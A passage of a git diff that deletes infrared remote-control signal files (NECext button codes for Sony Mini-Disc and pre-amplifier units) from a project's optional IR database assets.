-protocol: NECext -address: 0F 00 00 00 -command: 21 00 00 00 -# -name: STEP_>> -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 21 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 26 00 00 00 -# -name: REPEAT_(?) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 26 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 27 00 00 00 -# -name: A--B_(!) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 27 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 28 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 28 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 29 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: CD-SYNC_START -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: <> -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2D 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: T._REC -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 30 00 00 00 -# -name: A._SPACE_(() -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 33 00 00 00 -# -name: M._SCAN_()) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 34 00 00 00 -# -name: WRITE_CHAR -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 36 00 00 00 -# -name: WRITE_NUM -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 37 00 00 00 -# -name: WRITE_NAME -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3E 00 00 00 -# -name: MUSIC_SYNC -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 -# -name: 11_(P) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 40 00 00 00 -# -name: 12_(Q) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 41 00 00 00 -# -name: 13_(R) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 42 00 00 00 -# -name: 14_(S) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 43 00 00 00 -# -name: 15_(T) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 44 00 00 00 -# -name: 16_(U) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 45 00 00 00 -# -name: 17_(V) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 46 00 00 00 -# -name: 18_(W) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 47 00 00 00 -# -name: 19_(X) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 48 00 00 00 -# -name: 20_(Y) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 49 00 00 00 -# -name: 21_(Z) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 4A 00 00 00 -# -name: 22_(-) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 4B 00 00 00 -# -name: 23_(_) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 4C 00 00 00 -# -name: 24_(.) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 4D 00 00 00 -# -name: 25_(_) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 4E 00 00 00 -# -name: FADER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 69 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir deleted file mode 100644 index 61683480d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD-SYNC_STANDBY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 32 00 00 00 -# -name: CD-SYNC_STOP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir deleted file mode 100644 index 58777a21d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 2E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir deleted file mode 100644 index ab539d687..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 18 00 00 00 -# -name: LD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 19 00 00 00 -# -name: DYNAMICS -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 33 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 3F 00 00 00 -# -name: SUB -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5A 00 00 00 -# -name: PARAMETER_SUB -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 74 00 00 00 -# -name: PARAMETER_MAIN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 76 00 00 00 -# -name: DPC_LEFT_> -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 78 00 00 00 -# -name: DPC_LEFT_< -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 79 00 00 00 -# -name: DPC_RIGHT_< -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 7A 00 00 00 -# -name: DPC_RIGHT_> -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 7B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir deleted file mode 100644 index 3e77bb659..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DISPLAY_ON/OFF -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 10 00 00 00 -# -name: 2CH -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 41 00 00 00 -# -name: AUTODECODE -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 47 00 00 00 -# -name: TEST_TONE -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 4A 00 00 00 -# -name: EQ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 4C 00 00 00 -# -name: REAR_+ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 4E 00 00 00 -# -name: REAR_- -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 4F 00 00 00 -# -name: CENTER_+ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 54 00 00 00 -# -name: CENTER_- -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 55 00 00 00 -# -name: REAR_L+ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 58 00 00 00 -# -name: REAR_R+ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 59 00 00 00 -# -name: INPUT_+ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 69 00 00 00 -# -name: INPUT_- -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 6A 00 00 00 -# -name: MODE_+ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 6E 00 00 00 -# -name: MODE_- -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 6F 00 00 00 -# -name: CURSOR_MODE -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 77 00 00 00 -# -name: MAIN_MENU -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 77 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 78 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 79 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 7A 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 7B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir deleted file mode 100644 index 4e9aa72e2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir deleted file mode 100644 index 0629b9c7a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: HALL_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 -# -name: HALL_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 01 00 00 00 -# -name: OPERA -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: CHURCH -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: JAZZ_CLUB -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: DISCO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: STADIUM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: THEATER_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: THEATER_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: DOLBY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 09 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 12 00 00 00 -# -name: MASTER_VOL_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: MASTER_VOL_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 15 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1E 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 20 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 21 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 22 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 23 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 24 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: FRONT_L+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 26 00 00 00 -# -name: FRONT_R+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 27 00 00 00 -# -name: MIX -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2B 00 00 00 -# -name: DIGITAL -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 40 00 00 00 -# -name: VIDEO_5 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 41 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 42 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 43 00 00 00 -# -name: SOURCE_DIRECT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 49 00 00 00 -# -name: DIPLAY_MODE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4B 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4D 00 00 00 -# -name: SUBWOOFER_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5C 00 00 00 -# -name: SUBWOOFER_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir deleted file mode 100644 index 35d4f1b55..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir deleted file mode 100644 index 21f911a60..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: EQ_SLOPE -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 0D 00 00 00 -# -name: EQ_CHANNEL -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 0F 00 00 00 -# -name: EQ_BAND -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 20 00 00 00 -# -name: EQ -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 2C 00 00 00 -# -name: EQ_FLAT -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 3F 00 00 00 -# -name: TEST_TONE -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 4A 00 00 00 -# -name: REAR_VOL_+ -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 4E 00 00 00 -# -name: REAR_VOL_- -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 4F 00 00 00 -# -name: CENTER_VOL_+ -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 54 00 00 00 -# -name: CENTER_VOL_- -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 55 00 00 00 -# -name: PRESET_/_USER -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir deleted file mode 100644 index 2c09ad096..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 2E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir deleted file mode 100644 index e2d104c4e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir deleted file mode 100644 index 84875ed3f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 10 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 11 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 14 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 15 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 18 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 19 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir deleted file mode 100644 index 293bdd3c5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 48 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 4C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 50 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 51 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 52 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 53 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 54 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 55 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 58 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 5B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 5C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 5D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 5E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 5F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 60 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 61 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 63 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 64 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 65 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 66 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 67 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 69 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 6B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 6C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 6D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 6E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 72 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 73 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 74 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 75 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 77 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 78 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 7A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 7B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 7D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 7E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 7F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir deleted file mode 100644 index 5ac557663..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 12 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 12 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 13 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 14 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 15 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 1E 00 00 00 -# -name: PHONE -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 20 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 21 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 22 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 23 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 25 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 42 00 00 00 -# -name: DAT -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 69 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 6A 00 00 00 -# -name: LD -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 6B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 7B 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 7D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir deleted file mode 100644 index fbbb387e1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 2E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir deleted file mode 100644 index e2d0c5862..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 2_CH._STEREO -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: A.F.D. -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_+6 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_0 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_-3 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_-6 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_+3 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_+10 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CINEMA_A -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CINEMA_B -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CINEMA_C -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: DLG_0 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: DLG_1 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: DLG_-2 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: DLG_3 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: DLG_5 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: DLG_-5 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_0 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_-3 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_-6 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_-10 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_-14 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LIVE -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: NIGHT -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: NORMAL_SS -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: OLV_HI -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: OLV_LOW -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REARS_-3 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REARS_-6 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REARS_+3 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REARS_+6 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REARS_+10 